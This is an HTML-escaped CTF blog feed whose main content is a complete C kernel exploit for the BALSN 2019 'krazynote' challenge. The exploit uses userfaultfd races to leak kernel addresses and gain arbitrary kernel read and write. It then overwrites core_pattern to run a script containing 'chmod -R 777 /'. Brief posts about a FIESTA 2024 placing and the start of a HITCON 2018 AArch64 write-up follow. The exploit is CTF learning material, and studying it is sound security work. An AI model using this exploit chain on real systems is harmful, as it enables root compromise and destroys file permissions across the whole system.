#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEV_NAME &amp;#34;note&amp;#34;
#define VULN_DEV_CMD_ADD 0xffffff00
#define VULN_DEV_CMD_UPDATE 0xffffff01
#define VULN_DEV_CMD_GET 0xffffff02
#define VULN_DEV_CMD_RESET 0xffffff03
#define VULN_DEV_BASE 0xffffffffc0000000
#define VULN_DEV_MISC_FILE_OPS_OFFSET (0xffffffffc0002060 - VULN_DEV_BASE)
#define VULN_DEV_MISC_FILE_OPS_UNLOCKED_IOCTL_IDX 10
#define VULN_DEV_MISC_FILE_OPS_FLUSH_IDX 14
#define VULN_DEV_OFFSET_TO_PTR_TO_KERNEL_BASE \
  (0xffffffffc00021f8 - VULN_DEV_BASE)

#define KERNEL_BASE 0xffffffff81000000
#define OFFSET_OF_KERNEL_ADDR_OBTAINED_BY_VULN_DEV \
  (0xffffffff810a8fa0 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff8210dbe0 - KERNEL_BASE)

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

static int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

cpu_set_t target_cpu;
static int vuln_dev_fd;
uint64_t vuln_dev_xor_key;
uint64_t vuln_dev_base_minus_page_offset_base;
uint64_t vuln_dev_base;

uint64_t page_offset_base;
uint64_t kernel_base;

typedef struct request_t {
  uint64_t idx;
  uint64_t size;
  uint64_t data;
} request_t;

static int vuln_dev_add(uint8_t size, void* data) {
  request_t req = {
      .idx = 0,
      .size = size,
      .data = (uint64_t)data,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_ADD, &amp;amp;req);
}
static int vuln_dev_update(uint64_t idx, void* buf) {
  request_t req = {
      .idx = idx,
      .size = 0,
      .data = (uint64_t)buf,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_UPDATE, &amp;amp;req);
}
static int vuln_dev_get(uint64_t idx, void* buf) {
  request_t req = {
      .idx = idx,
      .size = 0,
      .data = (uint64_t)buf,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_GET, &amp;amp;req);
}
static int vuln_dev_reset() {
  request_t req = {
      .idx = 0,
      .size = 0,
      .data = 0,
  };
  return ioctl(vuln_dev_fd, VULN_DEV_CMD_RESET, &amp;amp;req);
}

// funtions for leaking xor_key

int leaked_xor_key_bytes = 0;
static void* userfault_handler_for_leak_xor_key(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(leaked_xor_key_bytes, page);
    vuln_dev_add(0xff, page);

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_xor_key() {
  char buf[0x100] = {
      0,
  };
  uint64_t tmp_xor_key = 0;

  for (int i = 0; i &amp;lt; 8; ++i) {
    void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (uffd_page == MAP_FAILED) {
      fatal(&amp;#34;mmap&amp;#34;);
    }
    register_uffd(uffd_page, 0x1000, userfault_handler_for_leak_xor_key);

    vuln_dev_add(0x10, uffd_page);

    memset(buf, &amp;#39;a&amp;#39;, sizeof(buf));
    vuln_dev_get(1, buf);
    int idx_61 = -1;
    for (int i = 0; i &amp;lt; 0x100; ++i) {
      if (buf[i] == 0x61 &amp;amp;&amp;amp; idx_61 == -1) {
        idx_61 = i;
      }
    }
    if (idx_61 == -1) {
      fatal(&amp;#34;leak_xor_key: idx_61 == -1&amp;#34;);
    }

    tmp_xor_key |= ((uint64_t)idx_61) &amp;lt;&amp;lt; (i * 8);

    vuln_dev_reset();
    munmap(uffd_page, 0x1000);
    ++leaked_xor_key_bytes;
  }

  return tmp_xor_key;
}

// funtions for leaking vuln_dev_base - page_offset_base

static void* userfault_handler_for_vuln_dev_base_minus_page_offset_base(
    void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 8) = 0x18 ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_vuln_dev_minus_page_offset_base() {
  char buf[0x100] = {
      0,
  };

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000,
                userfault_handler_for_vuln_dev_base_minus_page_offset_base);

  vuln_dev_reset();
  vuln_dev_add(0x10, uffd_page);
  vuln_dev_get(1, buf);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);

  uint64_t vuln_dev_base_minus_page_offset_base = *(uint64_t*)(buf + 0x10);
  return vuln_dev_base_minus_page_offset_base - 0x2568;
}

// functions for leaking vuln_dev_base

static void* userfault_handler_for_vuln_dev_base(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = 0x18 ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (vuln_dev_base_minus_page_offset_base + VULN_DEV_MISC_FILE_OPS_OFFSET +
         8 * VULN_DEV_MISC_FILE_OPS_FLUSH_IDX) ^
        vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static uint64_t leak_vuln_dev_base() {
  char buf[0x100] = {
      0,
  };

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_vuln_dev_base);

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_get(1, buf);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);

  uint64_t tmp_vuln_dev_base = *(uint64_t*)(buf);
  return tmp_vuln_dev_base;
}

// functions for aar

uint64_t aar_addr;
size_t aar_size;
static void* userfault_handler_for_aar(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = aar_size ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (aar_addr - page_offset_base) ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static void aar(void* out, uint64_t addr, uint64_t size) {
  if (size &amp;gt;= 0x100) {
    fatal(&amp;#34;aar: size &amp;gt;= 0x100&amp;#34;);
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_aar);

  aar_addr = addr;
  aar_size = size;

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_get(1, out);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);
}

// functions for aar

uint64_t aaw_addr;
size_t aaw_size;
static void* userfault_handler_for_aaw(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler_for_leak_xor_key: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler_for_leak_xor_key: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(
          &amp;#34;userfault_handler_for_leak_xor_key: msg.event != &amp;#34;
          &amp;#34;UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    vuln_dev_reset();
    memset(page, 0, 0x100);
    vuln_dev_add(0, page);
    vuln_dev_add(0, page);

    *(uint64_t*)(page) = vuln_dev_xor_key;
    *(uint64_t*)(page + 0x08) = aaw_size ^ vuln_dev_xor_key;
    *(uint64_t*)(page + 0x10) =
        (aaw_addr - page_offset_base) ^ vuln_dev_xor_key;

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.src = (uint64_t)page;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }

    goto DONE_PAGE_FAULT;
  }

DONE_PAGE_FAULT:
  munmap(page, 0x1000);
  return NULL;
}

static void aaw(uint64_t addr, void* data, uint64_t size) {
  if (size &amp;gt;= 0x100) {
    fatal(&amp;#34;aar: size &amp;gt;= 0x100&amp;#34;);
  }

  void* uffd_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (uffd_page == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  register_uffd(uffd_page, 0x1000, userfault_handler_for_aaw);

  aaw_addr = addr;
  aaw_size = size;

  vuln_dev_reset();
  vuln_dev_add(0x18, uffd_page);
  vuln_dev_update(1, data);
  vuln_dev_reset();

  munmap(uffd_page, 0x1000);
}

static uint64_t leak_kernel_base() {
  uint64_t val;
  aar(&amp;amp;val, vuln_dev_base + VULN_DEV_OFFSET_TO_PTR_TO_KERNEL_BASE, 8);
  aar(&amp;amp;val, val, 8);
  return val - OFFSET_OF_KERNEL_ADDR_OBTAINED_BY_VULN_DEV;
}

// end of helper functions

static int overwrite_core_pattern(const char* new_core_pattern, size_t len) {
  aaw(kernel_base + CORE_PATTERN_OFFSET, (void*)new_core_pattern, len);

  int fd = open(&amp;#34;/proc/sys/kernel/core_pattern&amp;#34;, O_RDONLY);
  char buf[0x100] = {
      0,
  };
  read(fd, buf, 0x100);
  close(fd);

  if (strncmp(buf, new_core_pattern, len) != 0) {
    return -1;
  }
  return 0;
}

int main() {
  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(0, &amp;amp;target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  vuln_dev_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEV_NAME, O_RDONLY);
  if (vuln_dev_fd &amp;lt; 0) {
    fatal(&amp;#34;open(/dev/&amp;#34; VULN_DEV_NAME &amp;#34;)&amp;#34;);
  }

  vuln_dev_xor_key = leak_xor_key();
  printf(&amp;#34;[+] xor_key: 0x%lx\n&amp;#34;, vuln_dev_xor_key);
  vuln_dev_base_minus_page_offset_base = leak_vuln_dev_minus_page_offset_base();
  printf(&amp;#34;[+] vuln_dev_base_minus_page_offset_base: 0x%lx\n&amp;#34;,
         vuln_dev_base_minus_page_offset_base);
  vuln_dev_base = leak_vuln_dev_base();
  printf(&amp;#34;[+] vuln_dev_base: 0x%lx\n&amp;#34;, vuln_dev_base);

  page_offset_base = vuln_dev_base - vuln_dev_base_minus_page_offset_base;
  printf(&amp;#34;[+] page_offset_base: 0x%lx\n&amp;#34;, page_offset_base);
  kernel_base = leak_kernel_base();
  printf(&amp;#34;[+] kernel_base: 0x%lx\n&amp;#34;, kernel_base);

  puts(&amp;#34;[*] prepare for core_pattern&amp;#34;);
  const char* new_core_pattern = &amp;#34;|//home/note/evil.sh&amp;#34;;
  const size_t new_core_pattern_len = strlen(new_core_pattern);
  printf(&amp;#34;[*] overwriting core_pattern to \&amp;#34;%s\&amp;#34;...\n&amp;#34;, new_core_pattern);
  if (overwrite_core_pattern(new_core_pattern, new_core_pattern_len) &amp;lt; 0) {
    fatal(&amp;#34;overwrite_core_pattern&amp;#34;);
  }
  puts(&amp;#34;[*] make //home/note/evil.sh...&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; //home/note/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x //home/note/evil.sh&amp;#34;);
  system(&amp;#34;ulimit -c unlimited&amp;#34;);

  uint64_t* evil_ptr = (uint64_t*)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

  close(vuln_dev_fd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/smallkirby/pwn-writeups/tree/master/balsn2019/krazynote/original&#34;&gt;https://github.com/smallkirby/pwn-writeups/tree/master/balsn2019/krazynote/original&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>피에스타 3등!!</title>
      <link>/posts/ctf/2024/fiesta/fiesta-3th/</link>
      <pubDate>Thu, 31 Oct 2024 18:28:45 +0000</pubDate>
      
      <guid>/posts/ctf/2024/fiesta/fiesta-3th/</guid>
      <description>&lt;p&gt;오예&lt;/p&gt;
&lt;p&gt;
&lt;img src=&#34;images/fiesta2024-winner.png&#34;  alt=&#34;2024 FIESTA Winners&#34;  class=&#34;center&#34;    /&gt;



&lt;img src=&#34;images/fiesta2024-team-info.png&#34;  alt=&#34;2024 FIESTA Team Info&#34;  class=&#34;center&#34;    /&gt;

&lt;/p&gt;</description>
      <content>&lt;p&gt;오예&lt;/p&gt;
&lt;p&gt;
&lt;img src=&#34;images/fiesta2024-winner.png&#34;  alt=&#34;2024 FIESTA Winners&#34;  class=&#34;center&#34;    /&gt;



&lt;img src=&#34;images/fiesta2024-team-info.png&#34;  alt=&#34;2024 FIESTA Team Info&#34;  class=&#34;center&#34;    /&gt;

&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>HITCON 2018 - Super Hexagong</title>
      <link>/posts/ctf/2018/hitcon/super-hexagon/</link>
      <pubDate>Sat, 17 Aug 2024 16:19:45 +0000</pubDate>
      
      <guid>/posts/ctf/2018/hitcon/super-hexagon/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/nafod/super-hexagon/tree/master/super_hexagon&#34;&gt;super hexagon&lt;/a&gt; 은 HITCON2018 에 나온 AArch64 문제이다.&lt;br&gt;
이 문제의 목표는 NS.EL0 에서 S.EL1 와 EL3 를 포함한 모든 Exception Level 에서 플래그를 읽는 것이다.&lt;/p&gt;
&lt;h2 id=&#34;biosbin&#34;&gt;Bios.bin&lt;/h2&gt;
&lt;h2 id=&#34;동작-분석&#34;&gt;동작 분석&lt;/h2&gt;
&lt;h3 id=&#34;overview&#34;&gt;Overview&lt;/h3&gt;
&lt;p&gt;문제에서는 bios.bin 파일이 주어진다. qemu 로 해당 바이오스를 실행하면 다음과 같은 문자가 출력되는 것을 볼 수 있다.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;NOTICE:  UART console initialized
INFO:    MMU: Mapping 0 - 0x2844 (783)
INFO:    MMU: Mapping 0xe000000 - 0xe204000 (40000000000703)
INFO:    MMU: Mapping 0x9000000 - 0x9001000 (40000000000703)
NOTICE:  MMU enabled
NOTICE:  BL1: HIT-BOOT v1.0
INFO:    BL1: RAM 0xe000000 - 0xe204000
INFO:      SCTLR_EL3: 30c5083b
INFO:      SCR_EL3:   00000738
INFO:    Entry point address = 0x40100000
INFO:    SPSR = 0x3c9
VERBOSE: Argument #0 = 0x0
VERBOSE: Argument #1 = 0x0
VERBOSE: Argument #2 = 0x0
VERBOSE: Argument #3 = 0x0
NOTICE:  UART console initialized
[VMM] RO_IPA: 00000000-0000c000
[VMM] RW_IPA: 0000c000-0003c000
[KERNEL] mmu enabled
INFO:      TEE PC: e400000
INFO:      TEE SPSR: 1d3
NOTICE:  TEE OS initialized
[KERNEL] Starting user program …

=== Trusted Keystore ===

Command:
    0 - Load key
    1 - Save key

cmd&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;위 문구를 보고 동작을 나누면 다음과 같다.&lt;/p&gt;</description>
      <content>&lt;p&gt;&lt;a href=&#34;https://github.com/nafod/super-hexagon/tree/master/super_hexagon&#34;&gt;super hexagon&lt;/a&gt; 은 HITCON2018 에 나온 AArch64 문제이다.&lt;br&gt;
이 문제의 목표는 NS.EL0 에서 S.EL1 와 EL3 를 포함한 모든 Exception Level 에서 플래그를 읽는 것이다.&lt;/p&gt;
&lt;h2 id=&#34;biosbin&#34;&gt;Bios.bin&lt;/h2&gt;
&lt;h2 id=&#34;동작-분석&#34;&gt;동작 분석&lt;/h2&gt;
&lt;h3 id=&#34;overview&#34;&gt;Overview&lt;/h3&gt;
&lt;p&gt;문제에서는 bios.bin 파일이 주어진다. qemu 로 해당 바이오스를 실행하면 다음과 같은 문자가 출력되는 것을 볼 수 있다.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;NOTICE:  UART console initialized
INFO:    MMU: Mapping 0 - 0x2844 (783)
INFO:    MMU: Mapping 0xe000000 - 0xe204000 (40000000000703)
INFO:    MMU: Mapping 0x9000000 - 0x9001000 (40000000000703)
NOTICE:  MMU enabled
NOTICE:  BL1: HIT-BOOT v1.0
INFO:    BL1: RAM 0xe000000 - 0xe204000
INFO:      SCTLR_EL3: 30c5083b
INFO:      SCR_EL3:   00000738
INFO:    Entry point address = 0x40100000
INFO:    SPSR = 0x3c9
VERBOSE: Argument #0 = 0x0
VERBOSE: Argument #1 = 0x0
VERBOSE: Argument #2 = 0x0
VERBOSE: Argument #3 = 0x0
NOTICE:  UART console initialized
[VMM] RO_IPA: 00000000-0000c000
[VMM] RW_IPA: 0000c000-0003c000
[KERNEL] mmu enabled
INFO:      TEE PC: e400000
INFO:      TEE SPSR: 1d3
NOTICE:  TEE OS initialized
[KERNEL] Starting user program …

=== Trusted Keystore ===

Command:
    0 - Load key
    1 - Save key

cmd&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;위 문구를 보고 동작을 나누면 다음과 같다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EL3 의 MMU 설정 및 활성화&lt;/li&gt;
&lt;li&gt;EL2 의 MMU(IPA) 설정 및 활성화&lt;/li&gt;
&lt;li&gt;TrustOS 설정&lt;/li&gt;
&lt;li&gt;EL0 User Program 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;translation-overview&#34;&gt;Translation Overview&lt;/h3&gt;
&lt;p&gt;EL3 에서 EL0 에서 사용되는 페이징 구조는 다음과 같다.&lt;br&gt;
&lt;img src=&#34;./images/arm_super_hexagon_translation.png&#34; alt=&#34;arm_super_hexagon_translation.png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;el3&#34;&gt;EL3&lt;/h3&gt;
&lt;p&gt;EL3 의 EntryPoint 는 bios.bin 의 &lt;code&gt;0x0000_0000&lt;/code&gt; 에 위치한다.&lt;/p&gt;
&lt;p&gt;부팅을 할 떄 EL3 에서 하는 동작은 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;EL3 레지스터 설정&lt;/li&gt;
&lt;li&gt;Exception Handler 설정&lt;/li&gt;
&lt;li&gt;UART 설정&lt;/li&gt;
&lt;li&gt;MMU 설정
&lt;ul&gt;
&lt;li&gt;Translation Table 설정&lt;/li&gt;
&lt;li&gt;VA -&amp;gt; IPA 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;EL2 및 EL1 바이너리 복사&lt;/li&gt;
&lt;li&gt;EL2 로 넘어가면서 EL2 의 EntryPoint(&lt;code&gt;0x40100000&lt;/code&gt;) 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;el3-레지스터-설정&#34;&gt;EL3 레지스터 설정&lt;/h4&gt;
&lt;p&gt;설정하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SCTLR_EL3&lt;/strong&gt;: 0x30C50830; EIS=1, EOS=1, A=1, SA=1, I=1
&lt;ul&gt;
&lt;li&gt;EIS: The taking of an exception to EL3 is a context synchronizing event.&lt;/li&gt;
&lt;li&gt;EOS: An exception return from EL3 is a context synchronizing event&lt;/li&gt;
&lt;li&gt;A: Alignment fault checking is enabled when executing at EL3. All instructions that load or store one or more registers have an alignment check that the address being accessed is aligned to the size of the data element(s) being accessed. If this check fails it causes an Alignment fault, which is taken as a Data Abort exception.&lt;/li&gt;
&lt;li&gt;SA: if a load or store instruction executed at EL3 uses the SP as the base address and the SP is not aligned to a 16-byte boundary, then a SP alignment fault exception is generated. For more information, see &amp;lsquo;SP alignment checking&amp;rsquo;.&lt;/li&gt;
&lt;li&gt;I: This control has no effect on the Cacheability of instruction access to Normal memory from EL3. If the value of SCTLR_EL3.M is 0, instruction accesses from stage 1 of the EL3 translation regime are to Normal, Outer Shareable, Inner Write-Through, Outer Write-Through memory.&lt;/li&gt;
&lt;/ul&gt;
